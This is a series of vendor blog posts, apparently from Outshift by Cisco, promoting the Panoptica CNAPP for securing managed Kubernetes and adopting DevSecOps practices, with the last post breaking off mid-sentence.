Forem: Outshift By Cisco

Exploring Managed Kubernetes and the Integration of CNAPP

Jan Schulte — Thu, 22 Feb 2024 05:00:00 +0000

As a cloud-native app developer, you likely use Kubernetes to help you orchestrate and operate many moving pieces. To deploy, you might also use a managed Kubernetes environment from a cloud provider. The conveniences of managed Kubernetes are numerous. But so are the accompanying security challenges.

The complexity of many Kubernetes resources—such as networks, VMs, and pods—is abstracted away, obscuring many security vulnerabilities across a vast attack surface. What does this mean for you? You’ll need a solution to help address the multiple security concerns that you might not be equipped to handle on your own.

That’s why we’re looking at the Cloud-Native Application Protection Platform (CNAPP). It’s an all-in-one tool that can holistically address the security challenges of a managed Kubernetes infrastructure. With it, you can protect your cloud infrastructure, dedicated VMs, serverless, and Kubernetes applications.

Let’s start with the basics.

What Is Managed Kubernetes?

Kubernetes orchestrates your application containers. You can use Kubernetes to deploy bespoke infrastructure to an environment, and it will help your application scale vertically and horizontally.

Most major cloud providers offer a managed Kubernetes solution. In this approach, you can offload a sizable portion of the operational complexity, depending on the cloud provider that runs the control plane. For many software devs, this also makes sense from a security perspective—you can offload security concerns and implement best practices by default (such as keeping the control plane up to date and allowing it to scale appropriately).

Some examples of managed Kubernetes offerings include:

Elastic Kubernetes Service (EKS) from Amazon Web Services (AWS)
Google Kubernetes Engine (GKE) from Google Cloud Platform (GCP)
Azure Kubernetes Service (AKS) from Microsoft Azure

However, just because you can offload some of your security concerns to your managed Kubernetes provider, this doesn’t mean all your security problems are solved. Let’s remember that, in a managed Kubernetes cluster, security is critical:

Clusters can be accessible from the internet via a public-facing ingress.
Clusters can run sensitive workloads, handling financial transactions or processing customer information.
Even in a managed offering, Kubernetes has multiple attack vectors (such as networking, compute, and the Kubernetes API layer).

A CNAPP can mitigate the additional security concerns. Just as control plane management may be better left to the experts (the cloud provider), the CNAPP takes on the role of expert security engineers.

What a CNAPP Offers Software Developers

There are many things that a CNAPP brings to the table, so let’s highlight its important functions, especially as they relate to developers using managed Kubernetes.

Single source of truth

Tool sprawl is a thorn in the side of most DevOps teams. When you build up an overflowing box of tools—one to handle this job, one to handle that job, and many that partially overlap in function—frustration abounds.

Using multiple security tools forces engineers to reconcile information across systems. This adds to their mental load and slows down productivity. On top of this, tool sprawl can lead to security gaps. With so many tools in its toolbox, a team might mistakenly assume that surely one of those tools has security challenge X covered. But what if their assumption is wrong?

A CNAPP offers teams a reliable, single platform to handle the security of their entire Kubernetes cluster. The CNAPP can help them identify threats, elevating the most relevant or pressing risks to the top so that teams don’t drown in noise. One platform, which bundles many security tools together in a unified offering with a single UI, can bring clarity to your managed Kubernetes security.

Automated compliance controls

For many organizations, maintaining compliance is crucial. There are lots of reasons why:

To avoid financial penalties or damaged business reputation for mishandling data
To win or retain contracts with government agencies or similarly regulated industries
To demonstrate responsibility through accountability to customers or regulatory bodies

To validate their compliance, most organizations depend on reports and automated software checks, which are benchmarks CNAPP can help guarantee. Kubernetes Security Posture Management (KSPM) is a key offering from many CNAPPs, guiding what security controls will help reduce security risks. KSPM can also enforce policies or highlight vulnerabilities, giving your company the tools to comply.

How CNAPPs Help with Managed Kubernetes Challenges

A managed Kubernetes cluster refers only to the control plane and additional plugins a cloud provider might offer. But cloud engineers must take responsibility for the remaining parts of the infrastructure. That’s how the shared responsibility model works. Identifying and visualizing security issues are not part of the managed offering—those responsibilities fall on the user.

As an example, let’s think about identity and access management (IAM). Even though you use managed Kubernetes with AWS EKS, you’re still responsible for properly configuring IAM roles and policies to secure access. IAM misconfigurations can be a huge headache for developers—especially those who aren’t accustomed to wearing the security professional hat.

What are some examples of IAM misconfigurations or poor practices?

Over permissioning: A user or service is given more permission to access a resource than is necessary to perform their task. This violates the principle of least privilege. For example, consider a service that needs S3 bucket read access to verify the presence of certain files. Giving that service DeleteObject permissions would be over permissioning.
Not using role-based access control (RBAC): Out of either expediency or ignorance, some developers may simply attach policies directly to an IAM user. Best practices would dictate the use of IAM roles instead, offering a more organized approach to access management while reducing the risk of unauthorized actions.
The dreaded Allow *: This is a specific case of over permissioning that’s likely the result of expediency (or laziness). When crafting an IAM policy, the Allow effect is coupled with the * action, essentially saying, “Allow this person to do anything they want.” You would be surprised how many developers are guilty of having done this.

Among the many ways that a CNAPP will protect your cloud-native applications and environments, it bundles in Cloud Security Posture Management (CSPM) to monitor for and identify cloud misconfiguration vulnerabilites in your multi-cloud (and hybrid-cloud) environments. Your cloud-native application will be chock-full of security policies—as they should be. But are your policies properly written and configured?

In addition to IAM policy misconfigurations, a CNAPP with CSPM will detect:

Use of default cloud security settings, which are often insecure.
Publicly exposed data storage buckets, containers, or assets
Data storage configurations without encryption in place
Authentication setups without MFA
… and more.

Bundle in Kubernetes Security Posture Management (KSPM), and your CNAPP will also detect Kubernetes cluster misconfigurations that could lead to additional security vulnerabilities and threats.

Securing Your Managed Kubernetes Setup with Panoptica

Panoptica’s CNAPP solution makes securing a managed Kubernetes cluster easy, offering:

Automatic security configuration for multi-cloud managed Kubernetes
Enforcement of the principle of least privilege
A single, centralized platform with a user-friendly interface
Rich visualizations with actionable guidance, reducing noise and eliminating alert fatigue
Attack path analysis and use of MITRE’s ATT&CK Framework for threat prioritization

Whether you run workloads within Azure, AWS, or GCP (or any other major cloud providers), Panoptica brings you easy, out-of-the-box support for all clusters. If supporting your customers entails running within multiple clouds, you can still enjoy centralized security with Panoptica.

When it comes to the security posture for a managed Kubernetes cluster, ensuring alignment across your teams can be challenging. Panoptica’s CNAPP allows you to enforce security best practices from one location. Installation is simple, using a single pod deployment (view the Helm chart).

Conclusion

Although managed Kubernetes reduces the amount of overhead needed to run a Kubernetes cluster within the cloud, it certainly doesn’t eliminate it. Part of what’s left for you to deal with is managing and securing the applications running within the cluster. Instead of cobbling together multiple, disparate tools to wrangle multiple security concerns, Panoptica provides automation and container security for developers and engineers alike.

If you’re interested in leveling up your managed Kubernetes security, sign up to use Panoptica for free, and explore how Panoptica’s CNAPP will make your cluster safer.

CNAPP and Kubernetes Securing Your Cloud-Native Setup

Jan Schulte — Thu, 15 Feb 2024 05:00:00 +0000

Kubernetes is the de facto container orchestration platform for cloud-native applications. But when you consider the complexity and layers of abstraction involved with Kubernetes environments, it’s not surprising how vulnerable your applications can be to various security threats. In a recent security report, Red Hat revealed that 93% of respondents encountered at least one security incident in their Kubernetes environments.

Dev and DevOps teams are under a lot of pressure to make sure that their workloads, data, and applications are protected. If the resources aren’t there, then the task of ensuring application security falls in the lap of software experts who may not be security experts. The dev team effectively becomes the security team.

What’s a robust security solution that integrates seamlessly with a Kubernetes setup? The answer is the CNAPP.

A cloud-native application protection platform (CNAPP) provides a unified view of security across your cloud-native stack—and that includes Kubernetes. In this post, we’ll explore how CNAPPs help you harden your cloud-native security posture, especially within the context of a Kubernetes environment.

Let’s start by considering some of the biggest threats to your application.

Security Threats and Vulnerabilities in Kubernetes

Many developers are unaware that Kubernetes, deployed right out of the box, is insecure. For example, the default behavior of Kubernetes allows pods to receive network traffic from any source and send traffic to any destination. That’s a huge security risk! On top of this, you have visibility challenges because Kubernetes has so many moving parts. And when you deploy your Kubernetes environments to the cloud, you introduce even more security risks.

It’s a lot to consider, so let’s highlight some of the key factors that make your apps vulnerable.

Misconfigurations

A Kubernetes environment with a flawed configuration will expose clusters or grant attackers unauthorized access. Examples of such misconfigurations include overly permissive role-based access control (RBAC) policies, exposed API servers, or unsecured etcd datastores. A misconfigured Kubernetes API server could also allow attackers to execute arbitrary code on the cluster.

Container image vulnerabilities

Vulnerable container images can lead to data breaches or could compromise your entire application stack, potentially allowing attackers to take control of Kubernetes workloads. Developers without a “security first” mindset often take container images for granted, without questioning their integrity or security.

Supply-chain attacks

Your cloud-native applications undoubtedly depend on third-party software components. What happens if these dependencies contain compromised code? For example, software running in your application may have malware that exfiltrates data or hijacks resources within your cluster to perform crytocurrency mining. By compromising the dependencies in your applications, hackers can potentially access your Kubernetes clusters. This supply-chain attack lets them introduce further threats to your Kubernetes environments, often undetected.

Malware infections

Targeted malware attacks on Kubernetes workloads can lead to data breaches, inoperable systems, or other security incidents. Whether it’s the exfiltration of data from Kubernetes workloads or the launching denial-of-service (DoS) attacks, cyber attackers have good reason to probe every nook and cranny of your setup for weaknesses.

To seal up any gaps and strengthen your Kubernetes security, CNAPPs come to the forefront.

How CNAPPs Enhance Kubernetes Security

CNAPPs play an indispensable role in safeguarding your Kubernetes environment. They help you take a proactive stance against potential security challenges while reducing the noise that often comes with monitoring for security.

A CNAPP is a bundle of several security tools into a single centralized and unified platform. Panoptica, for example, integrates over a dozen key tools as part of its platform. We’ll highlight several of these tools briefly, but then focus specifically on two important features: attack path analysis and CI/CD integration.

Configuration validation: Incorporates Cloud Security Posture Management (CSPM) and Kubernetes Security Posture Management (KSPM) to analyze configuration files—in cloud environments and Kubernetes clusters—for security misconfigurations.
Container image scanning: Scans container images to detect any known vulnerabilities or malware, thereby preventing the deployment of insecure container images into your Kubernetes environments.
Runtime monitoring: Monitors containers and network activities for abnormal behaviors—such as unauthorized outbound traffic or unusually high resource usage—to detect and remediate anomalies. Integrates Cloud Detection and Response (CDR) with SIEM solutions to help you identify and respond to cloud security incidents in real time.
Isolating compromised workloads: Uses a Cloud Workload Protection Platform (CWPP) to quickly isolate any compromised workloads, prioritizing threats based on risk scores, such as those from the MITRE ATT&CK framework.
Managing cloud permissions: Uses Cloud Infrastructure Entitlement Management (CIEM) to manage cloud permissions and prevent unauthorized access to your Kubernetes workloads. For example, a CNAPP can block an unauthorized employee from changing resource configurations, thus preventing privilege escalation.

Attack Path Analysis

In addition to these tools, Panoptica provides attack path analysis. By looking at the entire context of your cloud-native application, Panoptica can identify the potential paths that an attacker may take to exploit your systems. When it comes to “thinking like an attacker,” attack path analysis is critical for helping you understand where your vulnerabilities are and the level of risk they pose.

Attack path analysis begins with context-related questions about your components, asking about potential exposures and vulnerabilities. The CNAPP uses these answers to compose graphs, helping to map out visuals of how an attacker might exploit a weakness to burrow through your network. With clear visualizations, CNAPP users can see attack paths and context, giving them the information they need to address risks and put in place proper security measures.

CNAPPs also integrate External Attack Surface Management (EASM) to determine the risks from external-facing components of your application. By identifying exposed APIs and services and coupling this information with Kubernetes environment scans, Panoptica can provide you with a clear picture of how your systems are at risk.

Panoptica prioritizes attack paths based on the likelihood and impact of an exploit. Then, it provides you with recommendations on mitigating the risks associated with each attack path.

CI/CD Integration

The earlier you can detect security threats to your application, the less expensive (in time, resources, and even financial costs) it will be to address them. Ideally, your cybersecurity tech stack would have robust features to detect and deal with vulnerabilities as your application is being built, long before those vulnerabilities can make their way to production. To make this possible, CNAPPs like Panoptica offer tight integration with your CI/CD pipeline.

Your CI/CD pipeline can be configured to perform automated checks upon the opening of a pull request. These checks may include:

Scan configuration files for security misconfigurations in cloud environments or Kubernetes clusters.
Scan Infrastructure as Code (IaC) artifacts for security issues.
Scan container images for vulnerabilities.
Use software bill of materials (SBOMs) to cross-check dependencies against common vulnerabilities and exposures (CVEs) databases.
Perform static application software analysis (SAST) to review application source code for security vulnerabilities or insecure coding practices.
Scan code and configurations for leaked credentials or improper secrets management practices.

Panoptica lets you easily connect your CNAPP to your application repositories, whether they’re hosted on GitHub or GitLab. As Panoptica scans your IaC artifacts, it presents a security risk score based on its security findings.

Automating these security checks as part of your CI/CD pipeline ensures that they are performed whenever code is checked in. Failed security checks will halt your pipeline or alert you to take action—before code is released to production.

Regain Confidence in your Kubernetes Security

Doing DevSecOps might not be what you signed up for. If you’re not a security expert, but you need to make sure your Kubernetes setup is secure, then you need to depend on tools like CNAPPs.

When you use a CNAPP like Panoptica to secure your cloud-native application and environment, you’ll gain security confidence through robust tools for container image scanning, Kubernetes configuration analysis, runtime monitoring, and more. You’ll also work within a user-friendly interface that cuts out the noise and prevents alert fatigue. On top of this, Panoptica’s attack path analysis will map out how your application is most exposed and vulnerable, prioritizing the security risks that you need to address with clear and actionable guidance.

CNAPPs are a powerful tool for securing Kubernetes environments. They offer visibility into security risks, security task automation, and security policy enforcement. Enterprises will continue to face new and increasing cybersecurity threats within Kubernetes environments, so it's imperative to address potential threats with a holistic CNAPP solution, like Panoptica.

Level up your DevSecOps game by securing your Kubernetes environments with Panoptica. Sign up for a trial today.

The Role of CNAPP in Modern DevSecOps

Jan Schulte — Fri, 09 Feb 2024 05:00:00 +0000

If you're a software developer new to DevSecOps, navigating the complex landscape of security probably pushes you out of your comfort zone. Maybe you’re figuring it out as you go along, hoping that a little bit of luck will keep you a step ahead of the bad guys. Or maybe you’re counting on your work being so obscure you’ll avoid catching the attention of attackers.

Maybe what you need are some good tools to help you implement security best practices, tools that give you confidence that proper DevSecOps is finally getting done. The cloud-native application protection platform (CNAPP)—an all-in-one solution that consolidates security tools into a single place—is your answer.

In this post, we’ll look at the role of the CNAPP in helping you to transition smoothly from mere DevOps to actual DevSecOps. We’ll look at how the core components of a CNAPP address modern security risks, simplifying what you need to do to put DevSecOps in place.

Let’s start by looking at some of those security risks.

Understanding the Security Risks in DevOps

Security threats today are not what they used to be. Sure, you’re still susceptible to the common security attacks of old, like:

SQL injection: An attack that exploits application or database vulnerabilities through dangerously crafted queries.
Cross-site scripting (XSS): An attack in which poorly sanitized user input allows the injection of malicious scripts into your web pages.

Yes, these kinds of attacks are still a thing. But when it comes to your cloud-native applications—distributed across multiple cloud environments and platforms—the range and sophistication of attack techniques can seem overwhelming.

Multi-vector attacks: Attackers no longer attack a single and obvious point of failure. Instead, they try to exploit multiple vulnerabilities in your application, across your network, and throughout your infrastructure.
Advanced persistent threats (APTs): Some attackers gain unauthorized access and lurk undetected for an extended period. They probe around here and poke around there. Then slowly, they get around other security measures to set up more impactful attacks.
Zero-day exploits: Some attacks target undisclosed vulnerabilities before you even have a CVE and a security patch.

Today’s cyber attacks far outpace traditional cybersecurity measures.

Transitioning from DevOps to DevSecOps

That’s why modern software development has gravitated toward shift left security, an approach that integrates strong security measures earlier in the software development life cycle (SDLC). How? Here are just a few examples:

Code scanning: Use automated tools to scan your code for security vulnerabilities as you write it.
Automated testing: Run security tests as part of your CI/CD pipeline to catch issues in your application before they reach production.
Security as code (SaC): Codify your security policies to define, manage, and track them.

Adopting these practices is a good start, and a CNAPP can help you get there. But the CNAPP brings a lot more, especially when we get into more complex security areas, such as software supply chain security, identities and access management, and cloud workloads.

What Is a CNAPP?

A CNAPP is a comprehensive platform designed to achieve cloud-native application security. It consists of several key components, bundled together to form a single, unified security solution. For example, in Panoptica (the CNAPP solution from Outshift), you’ll have components that include:

Cloud Security Posture Management (CSPM): Monitors for cloud misconfigurations to ensure security and compliance.
Cloud Workload Protection Platform (CWPP): Monitors cloud-based workloads and provides runtime protection.
Cloud Infrastructure Entitlement Management (CIEM): Manages permissions and entitlements within your cloud environment.
Software supply chain security: Works with software bill of materials (SBOMs) to ensure dependency components in your software (such as third-party or open-source libraries) are free of security vulnerabilities.
API security: Monitors and protects API endpoints, which can be entryways for attackers into your applications and systems.
Risk mitigation and resolution: Identifies and prioritizes potential risks, providing actionable insights for resolution.

Let’s consider an example. Imagine an attacker gains initial access to your system through a successful phishing attack on one of your contractors. The attacker then tries to escalate their privileges to access other parts of your system. The attacker wants to move laterally across your cloud infrastructure, searching for valuable resources or sensitive data.

Here’s where the CNAPP proves valuable. Before the phishing attack even occurred, the CIEM component enforced the principle of least privilege, ensuring that the targeted employee had only the minimal permissions needed to perform their tasks. Then, when an attack does occur, the CIEM component detects unusual activity and permission requests. Coupled with automated alerts, the CNAPP would notify you immediately so that you could take swift action.

How CNAPPs Simplify DevSecOps

At first glance, all of the above components and processes may seem complex. Certainly, DevSecOps involves many moving pieces. But the CNAPP abstracts away that complexity to give you a single, unified solution that covers all your bases. By offering a streamlined approach to security, the CNAPP makes it easier for you to manage and monitor your cloud applications.

CNAPPs provide you with early detection and remediation. In many setups from traditional security teams, vulnerabilities often go unnoticed (or unaddressed) until it’s too late—either the vulnerable code has made its way to production or an attack has occurred. Early detection means your CNAPP will:

Identify security risks in the development stages of your SDLC,
Scan container images for vulnerabilities before those containers can be deployed to production,
Ensure Kubernetes cluster configurations are free of security issues,
Monitor endpoints for any unusual activity.

Detected issuers are flagged, and the CNAPP can recommend (or even automatically implement!) remediation steps. This proactive approach of fixing problems before they escalate will significantly reduce the risk of a security breach, ultimately saving you time, money, and stress.

In addition, the CNAPP gives you continuous monitoring and compliance. Security is not just “set it and forget it.” Your CNAPP will bring 24/7 monitoring of your applications, infrastructure, and network activity. As the CNAPP maps out your entire infrastructure, it performs attack path analysis to determine—with the mindset of an attacker—where your systems are most vulnerable.

There’s more to SecOps than just identifying threats. Your cloud-native security also includes maintaining compliance with industry standards and regulations (such as GDPR, HIPAA, or PCI DSS). CNAPPs monitor for compliance and also generate reports for validation and auditing.

Other benefits and advantages

Although we just covered some essential parts of DevSecOps that a CNAPP can help you address, we’ve only scratched the surface of what a CNAPP can bring. Other advantages include:

Streamlined security: A CNAPP serves as a single source of truth. All of your tools and components are managed, through dashboards and visualizations, in one place.
Reduced tool sprawl: By consolidating your security tools, you minimize gaps and vulnerabilities. And you reduce your costs by eliminating overlapping tools.
Visualizations and dashboards: Real-time dashboards offer insights into your security posture, helping you make informed decisions.
Cost and time efficiency: CNAPPs offer a cost-effective solution that saves both time and resources.

Introducing Panoptica

Panoptica stands out as a comprehensive CNAPP solution. It offers end-to-end security features, covering your application from design to development to deployment. Its ease of integration into existing DevOps tools makes it a go-to choice for organizations looking to secure their cloud-native applications.

Navigating the world of DevSecOps may seem daunting, but it doesn't have to be. With the right tools like CNAPPs, and specifically Panoptica, you can secure your cloud-native applications effectively and efficiently. Take the first step in your DevSecOps journey by trying out Panoptica today.

Getting Started with DevSecOps: An Introduction to CNAPP

Jan Schulte — Fri, 02 Feb 2024 05:00:00 +0000

Building good software is hard enough. Do you need to worry about cybersecurity too? Sadly, yes. You just finished a big refactor and migrated huge chunks of that monolith to their own microservices—nice job! But now they’re talking about detecting vulnerabilities in your third-party dependencies and making sure your logs are compliant with data protection rules. Bleh.

What’s a software dev to do?

Enter DevSecOps, an approach that integrates application security as a shared responsibility—adding security to your DevOps—throughout your software development life cycle (SDLC). When “shifting left” also includes security checks and practices, then release day is ho-hum uneventful. And that’s exactly what you want for your teams.

Helping you with shift left security is where the cloud-native application protection platform (CNAPP) shines. Gartner describes the CNAPP as a “unified and tightly integrated set of security and compliance capabilities designed to secure and protect cloud-native applications across development and production.” By integrating with your continuous integration and continuous delivery (CI/CD pipelines), a CNAPP can help you find and fix vulnerabilities before they become a problem. By continuously monitoring every piece of your cloud infrastructure for performance degradation or anomalous activity, a CNAPP brings visibility across your architecture in a single, central place.

A CNAPP provides the tools and practices that help you with things like:

Preparation for (or complete prevention of) data breaches, zero-day vulnerabilities, and privacy violations
Speeding up the delivery of secure applications
Lowering the cost of remediation
… and much more.

Ultimately, a CNAPP helps software developers get up and running quickly with DevSecOps practices. In this article, we’ll cover the benefits and core components of a CNAPP, along with how it helps you level up your DevSecOps game

What CNAPP brings to the table

CNAPP platforms bring together lots of different technologies under a single platform, providing security tools for protection against common attack vectors. Here are some of the key benefits it brings you.

Holistic security

If your security team works reactively, then it probably applies individual solutions and tools for each new issue. This is a patchwork solution that doesn’t scale and likely leaves security gaps. A CNAPP, on the other hand, provides a holistic way to secure your cloud-native application and infrastructure stack (no matter if you’re running on AWS, Azure, Google Cloud, or all three!). It takes a complete life cycle approach to security.

The CNAPP is a unified and tightly integrated set of security tools that provides actionable security information—for every part of your system and all in one place.

Single source of truth

Cloud-native apps are always juggling different runtimes and resources, including virtual machines, containers, and serverless functions. For example, a cloud-native application could have components deployed as Kubernetes clusters, containers, and serverless functions, running on shared machines or bare metal servers.

What would it look like to capture metrics from all these resources in a meaningful and useful way?

A CNAPP provides an integrated solution, consolidating the security tools across all your applications and environments, to centralize metrics and system data.

Integration with CI/CD pipelines

Core to the DevSecOps vision is that compliance and security concerns are addressed at every stage of the SDLC. That includes the development and testing phases, not just the deployment phase. CNAPPs help you do this by integrating seamlessly with your continuous integration and continuous delivery (CI/CD pipelines). You get automated artifact scanning, infrastructure as code (IaC) scanning, and cloud workload runtime protection. This will help you discover vulnerabilities early, reducing the cost of dealing with them.

Key components in the CNAPP architecture

Alright, so that’s what the CNAPP will get you. But how? What are the key pieces in a CNAPP that provide you with full-stack security for your cloud-native apps?

Cloud Security Posture Management (CSPM) is your eagle eye for detecting vulnerabilities. It helps you find and prevent misconfigurations and threats across your cloud infrastructure. These misconfigurations may be related to identity and access management (IAM) policies—such as overly permissive access or not adhering to RBAC best practices—or poor secrets management or data storage configurations.

Cloud Workload Protection Platform (CWPP) is constantly watching your cloud workloads and containers. Think Docker. Think Kubernetes. Do you have the pieces in place to monitor for threats there? Attackers can exploit an unprotected workload by launching distributed denial of service (DDoS) attacks or infecting your workload with malware or ransomware. Or maybe you have a misconfigured workload with insecure settings, open ports, or unauthenticated APIs. A hacker could exploit this to steal sensitive data, leading to privacy risks.

CWP protects your workloads and helps isolate security incidents to prevent a widespread attack.

Cloud Infrastructure Entitlement Management (CIEM) monitors the permissions used across your hybrid-cloud and multi-cloud environments. When entities have excessive permissions, attackers will take advantage of that vulnerability. With elevated access to critical systems, they can execute privilege escalation attacks. A CIEM tool manages cloud identities and entitlements, enforcing the principle of least privilege to reduce attack surfaces.

Kubernetes Security Posture Management (KSPM) continuously monitors your Kubernetes clusters and configurations for security risks. In addition, while working with containers in your cloud-native application, you’ll depend on a CNAPP that integrates automated container image scanning for security vulnerabilities, along with runtime monitoring.

Cloud Detection and Response (CDR) takes its cues from endpoint detection and response (EDR) to identify and analyze potential security threats in your cloud environments. By analyzing user activity and network traffic, CDR uses threat intelligence to bring security visibility into your cloud workloads and environments.

External Attack Surface Management (EASM) helps you see the security risks to your application’s external-facing components. Of course, certain APIs, services, and endpoints are necessarily exposed in order for your cloud-native application to be effective. EASM determines the risks and illuminates potential attack paths through those components, providing you with actionable insights on how to protect them properly.

How CNAPPs help you level up your DevSecOps

What does this mean for you, the software dev looking to build your DevSecOps approach?

Handle the complexity of security

Cloud-native applications have so many moving parts. Containers, service meshes, microservices, APIs, etc. If you want to apply DevSecOps practices consistently across your environment, then you’ll need a single platform that consolidates all of your security tools. All of the reporting, scanning, and threat detection come from one place, reducing your alert fatigue and keeping you sane.

No more tool sprawl

Have you heard of tool sprawl? It’s when a company has an IT drawer stuffed with different tools, each one meant to address a different use case—and many of them overlapping in functionality. Tool sprawl is what happens when teams take a reactive and siloed approach to security.

On the other hand, if you have a proactive and holistic approach, you’ll prevent security gaps and stop wasting resources. You, and every member of your team, will finally have good visibility of your entire system. This centralized visibility is what a CNAPP helps you to achieve, without the tool sprawl.

Less of you making mistakes

Do you remember when you hardcoded that API key and committed it to the repo? Or how about when you forgot to remove the debugging statements with the hash secret, and it made its way out to production?

Today’s software projects are too complex to leave every nitty-gritty detail in human hands. There are just too many items on our gotcha checklist. Something is going to get missed.

CNAPPs reduce the risk of human errors by automating the detection of security issues and then giving you actionable guidance to deal with those issues. You also get an audit trail for compliance and accountability purposes.

DevSecOps for devs made possible with Panoptica

Panoptica is a comprehensive CNAPP solution for protecting your entire application stack. It offers attack path analysis to help you visualize how attackers might exploit vulnerabilities in your cloud stack. Panoptica provides CSPM, CWPP, and CIEM, all under a unified platform for simplified vulnerability management. These tools seamlessly integrate with your team's existing development and security operations, improving your incident response.

Conclusion

Cloud-native applications can get messy. You have countless assets and resources—and with that, countless attack vectors—that require safeguarding. The CNAPP is a vital, holistic tool to assist you in the face of those security challenges. Panoptica stands out as a robust CNAPP tool, primed to aid you in fortifying your application's security posture.

Try Panoptica for free or contact us if you have any inquiries.

Getting Started with DevSecOps: A Guide for Software Developers

Jan Schulte — Fri, 05 Jan 2024 14:00:00 +0000

DevSecOps, sometimes referred to as shift left security, is the
integration of security into DevOps practices. And it’s more than just a
buzzword. Whether you're a developer at a large enterprise or in a new
startup, the adoption of DevSecOps practices has become essential. If
you’re familiar with DevOps, but security is new terrain for you, then
we’re here to help.

In this post, we’ll guide you through the fundamental challenges—and
solutions—for starting your DevSecOps journey.

Why DevSecOps is challenging

Yes, adopting DevSecOps has its fair share of challenges, especially if
you’re not a DevSecOps engineer with formal training in security. How
confident are you in identifying vulnerabilities—in your code and in
your infrastructure setup? Adding on another layer of complexity, you
need to understand how attackers exploit vulnerabilities.

On top of this, you’ve got a whole array of security tools, and each one
does something different. What should your security stack look like, and
how do you know if you’re leaving gaps?

Software development moves fast, so your security measures need to be
agile. To get you started, we recommend the following foundational tips.

Tip #1: Build a security mindset

Before we even talk about fancy tools or techniques, let’s start with…
you. How’s your security mindset? Your security mindset is the
foundation upon which all your DevSecOps methodology will be built.
You must be proactive about your security. Waiting for a security
incident to occur is not an option. Reactive measures are often too
late. Most of the significant damage is already done.

Start by educating yourself. There are tons of online courses,
webinars, and tutorials that can help you understand the basics of
cybersecurity. You could even take it further to pursue cybersecurity
certifications. This knowledge will serve you well as you navigate
through the complexities of DevSecOps.

Peer code reviews are another crucial aspect. Going beyond just
functionality, these reviews should include a focus on potential
security issues. This is a chance for team members to learn from each
other and improve the overall security of your project.

Create secure software by writing secure code. In addition, adopt the
use of security as code (SaC). Security policies should be managed
and versioned through control systems like Git. For example, you can use
Terraform to create, apply, and manage IAM policies for AWS resources.
This approach allows for better tracking, auditing, and accountability.
Then, you can automate Terraform and other security checks—such as
compliance scans or audits—as part of your continuous integration and
continuous delivery practices, integrating them with your CI/CD
pipelines.

Tip #2: Think like an attacker

If you understand your enemy, then half of your battle is won. Let's
explore how to think like an attacker to better defend your
applications.

Understanding the vulnerabilities that attackers exploit is key to
effective security. Get familiar with common attack vectors like SQL
injection and CSRF. Websites like Hacksplaining offer hands-on exercises to deepen your understanding of these concepts. For instance, you can try out an SQL injection exercise.

Along with this, get to know the Open Web Application Security Project (OWASP), which provides a wealth of information on the latest security threats and best practices. OWASP has a top ten list of web application security
risks and another list specifically related to API security.

Next, engage in practical exercises to level up your security
skills. Capture The Flag (CTF) challenges are an excellent way to
understand how attackers think. These challenges simulate real-world
scenarios where you must exploit vulnerabilities to achieve specific
objectives.

Similarly, ethical hacking or penetration testing can provide valuable
insights into potential weaknesses in your system. These exercises allow
you to identify and fix vulnerabilities before they can be exploited.

Tip #3: Know cloud security

Cloud computing environments have their security challenges too, so
you’ll need to know a few key points to secure your cloud-based
applications properly.

First, consider the complexities of multi-cloud environments. If you
need to manage security across multiple cloud providers—like Google
Cloud and Microsoft Azure—then you’ve got a complex task. Each provider
has its own terms, tools, and interfaces. If you’re running
microservices and cloud-native applications, then don’t forget to add
Docker containers and Kubernetes into the mix. Building a unified
security strategy in the midst of it all is a challenge.

Next, cloud environments mean needing various security controls—like
firewalls, IAM policies, role-based access control (RBAC), security
groups, and encryption. These controls are all wonderful and necessary,
as they set up your defense against potential attacks and unauthorized
access.

But setting them up correctly is a whole other beast. You’ll need to
get this part right.

Finally, we can’t downplay the importance of continuous monitoring and
metrics. These are vital for figuring out whether your security
measures are effective and how they might be improved. Metrics provide
real-time insight into system behavior and vulnerabilities, making it
possible to intervene quickly when necessary.

AWS-specific challenges

If you’re working with Amazon Web Services (AWS), then you have
additional challenges to be mindful of.

For example, overprovisioning IAM roles can occur when permissions are
granted too liberally. You might grant a role full administrative access
to an AWS service when it only needs read-only access. This could
potentially lead to unauthorized actions, either maliciously or by
mistake. Instead, adopt the principle of least privilege: grant only the
minimum permissions necessary to perform a task.

AWS S3 bucket misconfigurations are another frequent issue. An example
would be setting an S3 bucket to public instead of private, which could
lead to unauthorized data access or even data leaks.

Role overprovisioning and bucket misconfigurations are common pitfalls,
and they can have severe implications—such as data breaches and
unauthorized system changes.

Tip #4: Use the right tools for DevSecOps

When you’re implementing DevSecOps, having the right tools can be a game
changer. So, choose your tools wisely. What should you keep in mind when
you’re thinking about your security toolchain?

Time savings: DevSecOps tools can save you time by automating repetitive tasks. With automation taking care of mundane tasks, you can focus on more complex issues that require human judgment.
Reduce mental burden: The right tools reduce the mental load by handling specific security concerns. This allows you to focus on developing features and improving your application.
Avoid tool sprawl: Yes, choosing the right tools is crucial—but be wary of using too many. A disparate set of tools can get messy and create gaps in your security posture.

Various types of tools can assist you in DevSecOps. These include:

Vulnerability scanners
Infrastructure monitoring tools
Infrastructure as Code (IaC) solutions
Cloud workload protection platforms
Static application security testing (SAST)
Dynamic application security testing (DAST)
… and more.

If you have a security issue, there’s most likely a tool out there that
can help you address it.

Conclusion

In summary, DevSecOps is a critical practice that every software
developer should adopt. The challenges are real, but they are not
insurmountable. By building a security mindset, understanding your
vulnerabilities, and leveraging the right tools, you can significantly
improve your security posture.

Panoptica can simplify your DevSecOps journey and make security best
practices a part of your software development lifecycle (SDLC). It
automates security tasks, provides a unified view of risks, and manages
security policies effectively. It’s a comprehensive all-in-one tool that
will get you up and running with DevSecOps quickly. When you’re ready to
give it a try, sign up to use Panoptica for free today!

Kubernetes Container Policies: Enhancing Security and Efficiency

Jan Schulte — Fri, 29 Dec 2023 14:00:00 +0000

Microservices and cloud-native apps are all the rage these days. But
making the transition from a few containers in Docker to managing and
scaling containerized applications can be a real headache. Enter
Kubernetes (K8s). K8s is an open-source platform designed to take the
stress out of managing large-scale container deployments. In simple
terms, Kubernetes groups your application's containers into units called
pods. These pods make it easier to deploy and manage workloads
across multiple machines.

So then, what are K8s container policies? They're essentially a set
of rules that your Kubernetes pods and containers must follow. These
rules help you keep your configurations in check, beef up security, and
make the most out of your resources.

In this article, we'll dive into why container policies are a big deal
for the security and efficiency of your containerized apps. We'll also
touch on how cloud-native application protection platforms (CNAPPs) can
take your K8s security to the next level.

What are K8s container policies, and why should you care?

Think of your K8s containers as cars zipping around a city. In this
scenario, container policies are like the traffic rules of that city.
They set the do's and don'ts for how containers behave within a
Kubernetes cluster. Container policies define who can go where, how fast
